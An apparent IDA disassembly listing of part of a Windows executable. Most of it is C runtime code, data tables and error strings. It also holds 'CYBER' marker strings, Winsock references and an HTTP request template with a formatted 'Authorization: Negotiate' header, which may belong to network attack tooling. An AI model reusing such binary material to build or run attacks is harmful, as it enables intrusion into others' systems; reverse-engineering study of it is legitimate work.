sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0


loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1


loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_441BAC
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------


loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05


loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]


loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4E0E40
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------


loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4D06DC
		push	esi
		push	edi
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax


loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4E0E40, eax


loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2610000h
		nop
		jmp	loc_426DC6
; ---------------------------------------------------------------------------


loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4E0BF4
		mov	[ebp+arg_10], eax


loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 2830000h
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2830000h
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4E0BE4


loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 2620000h
		nop
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------


loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax


loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: ___:00427F7Co

; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A8
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: ___:00426DE8j
		retn
; ---------------------------------------------------------------------------


loc_426DF7:				; DATA XREF: sub_40D07Co
		mov	eax, offset dword_427F50
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E0C:				; DATA XREF: ___:00427FACo
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E14:				; DATA XREF: sub_40D21Eo
		mov	eax, offset dword_427F80
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h


loc_426E20:				; DATA XREF: sub_40D78Bo
		mov	eax, offset dword_427FB0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428010
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280CC
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280F0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428150
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
		dd 25D0000h, 25E0000h, 25F0000h, 25F06FBh, 2600000h, 2600949h
		dd 26009DAh, 2600E87h, 2610000h, 2620000h, 2620723h, 2620C19h
		dd 2630000h, 2630828h, 26309EEh
dword_42703C	dd 2630A03h		; DATA XREF: ___:004231D9r
		dd 2630A8Fh, 2630D5Ah, 2630DD1h, 2640000h, 2650000h, 2660000h
		dd 2670000h, 2670384h, 26708FDh, 77E75CB5h
dword_427068	dd 267093Fh		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2670C5Bh, 2680000h, 2680ACFh
dword_427078	dd 2680E26h		; DATA XREF: sub_40111D+29r
					; sub_401ACD+318Br ...
dword_42707C	dd 2690000h		; DATA XREF: ___:004015E2r
					; sub_410CD5+32r
		dd 269022Dh
dword_427084	dd 2690307h		; DATA XREF: sub_4196BC+B9r
		dd 2690A25h
dword_42708C	dd 2690A97h		; DATA XREF: sub_410FF8:loc_411089r
dword_427090	dd 2690B0Ah		; DATA XREF: ___:loc_4013DCr
		dd 26A0000h, 26A0129h
dword_42709C	dd 26A01F7h		; DATA XREF: sub_409B12+2r
		dd 26A0393h, 26A0472h
dword_4270A8	dd 26A0B14h		; DATA XREF: ___:0040124Dr
					; sub_41A4D1+8Cr
dword_4270AC	dd 26A0BC8h		; DATA XREF: sub_410CD5:loc_410DC1r
		dd 26B0000h, 26B0B60h
dword_4270B8	dd 26C0000h		; DATA XREF: sub_409B12:loc_40A020r
dword_4270BC	dd 26C041Bh		; DATA XREF: sub_409B12+11r
					; sub_416F1A+60r ...
		dd 26D0000h, 26E0000h, 26E05A1h, 26F0000h, 77F7E300h, 77F7E21Fh
		dd 26F0585h, 26F074Dh, 2700000h, 27009F1h
dword_4270E8	dd 2710000h		; DATA XREF: sub_410FF8+Br
dword_4270EC	dd 27107FCh		; DATA XREF: sub_418293+36r
		dd 2710A5Eh, 2720000h
dword_4270F8	dd 2720624h		; DATA XREF: sub_410F1F+3Ar
					; sub_419C64+79r
dword_4270FC	dd 2730000h		; DATA XREF: sub_410E26+23r
					; sub_419C64+3Br
		dd 2731461h, 2740000h, 2740C4Bh, 2750000h, 275078Dh, 2760000h
		dd 2770000h, 2780000h, 278097Bh, 2780C80h, 2780D44h, 2790000h
		dd 27908BDh, 27A0000h, 27A049Ah
dword_42713C	dd 27A06F1h		; DATA XREF: sub_416F1A+BCr
		dd 27B0000h
dword_427144	dd 27C0000h		; DATA XREF: sub_4170EC+21r
					; sub_417275+4Ar
dword_427148	dd 27C0C0Ah		; DATA XREF: sub_4170EC+10r
					; sub_417275+40r ...
		dd 27C0C93h
dword_427150	dd 27D0000h		; DATA XREF: sub_417275+56r
		dd 27D01C9h, 27E0000h, 27F0000h, 27F07F6h, 2800000h, 2800354h
		dd 280051Fh, 2810000h, 28107D9h, 2820000h
dword_42717C	dd 2830000h		; DATA XREF: sub_418B58+13r
					; ___:0042324Er ...
dword_427180	dd 2840000h		; DATA XREF: sub_418C2A+Fr
					; sub_41D834+54r ...
		dd 2841024h, 2841547h, 2841ACBh, 2850000h, 2860000h, 2870000h
		dd 2880000h, 2890000h, 28A0000h, 28B0000h, 28B1D83h, 28B1DB8h
		dd 28C0000h, 28D0000h, 28D015Ch
dword_4271C0	dd 28D0747h		; DATA XREF: sub_41DEA2+240r
dword_4271C4	dd 28D08BEh		; DATA XREF: sub_41E976:loc_41E9A7r
		dd 28D0A54h, 28E0000h, 28E06D2h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412660+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
		dd 71AB1746h, 71AB3E5Dh
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DFE2+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: sub_401ACD+347Co
					; sub_401ACD+356Co ...
		align 10h
aCyber_0	db 'CYBER',0            ; DATA XREF: sub_401ACD+389Co
					; sub_401ACD+38D2o ...
		align 4
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427688	dq 1.388888888888889e-2	; DATA XREF: sub_40D030+2Fr
dbl_427690	dq 1.666666666666667e-1	; DATA XREF: sub_40D030+15r
dword_427698	dd 0FFFFFFFFh		; DATA XREF: sub_40D07C+16Fr
					; sub_40D4B0r ...
		align 10h
dbl_4276A0	dq 1.333333333333333	; DATA XREF: sub_40D07C+79r
dword_4276A8	dd 0			; DATA XREF: sub_40D21E+4Do
					; sub_40D560+5Bo ...
flt_4276AC	dd 5.0e-1		; DATA XREF: ___:0040DD33r
dbl_4276B0	dq 9.765625e-4		; DATA XREF: ___:004166B6r
					; ___:004166D1r ...
dbl_4276B8	dq -1.52587890625e-4	; DATA XREF: sub_417ADD+3E5r
dbl_4276C0	dq 3.0517578125e-4	; DATA XREF: sub_417ADD+3C5r
dbl_4276C8	dq -3.0517578125e-4	; DATA XREF: sub_417ADD+342r
					; sub_417ADD+3A7r
dbl_4276D0	dq 1.52587890625e-4	; DATA XREF: sub_417ADD+271r
dbl_4276D8	dq -1.739501953125e-3	; DATA XREF: sub_417ADD+24Br
					; sub_417ADD+2D5r ...
dbl_4276E0	dq 3.11279296875e-3	; DATA XREF: sub_417ADD+E1r
dbl_4276E8	dq 3.0517578125e-5	; DATA XREF: sub_417ADD+AEr
					; sub_417ADD+138r ...
dbl_4276F0	dq 6.103515625e-5	; DATA XREF: sub_417ADD+93r
					; sub_417ADD+308r
dbl_4276F8	dq 2.288818359375e-3	; DATA XREF: sub_417ADD+21r
dbl_427700	dq -3.0517578125e-5	; DATA XREF: sub_418684+2Br
flt_427708	dd 9.765625e-4		; DATA XREF: sub_41A4D1+1B0r
flt_42770C	dd 8.0			; DATA XREF: sub_41A4D1+1AAr
flt_427710	dd 0.0			; DATA XREF: sub_41A4D1+171r
flt_427714	dd 1.0e-3		; DATA XREF: sub_41A4D1+168r
dbl_427718	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
		dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
		align 4
byte_42775C	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_441DC4o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_441DC0o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_44203Co
dbl_427880	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427888	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427890	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 4
dword_4278C8	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 8
		dd offset sub_422228
		dd offset sub_422232
dword_4278F0	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_427900	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427910	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 10h
		dd offset loc_422599
		dd offset loc_42259D
dword_427928	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 8
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427940	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427948	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_44220Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 10h
asc_427C10	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
		align 10h
dword_427C50	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 10h
dword_427CF0	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E2Ch
off_427D0C	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E78
off_427D1C	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D28	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EC4
off_427D48	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F08
off_427D68	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; ___:off_442934o ...
		dd offset dword_427F38
off_427D70	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 10h
dword_427D90	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DB0	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
dword_427DC8	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 442934h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
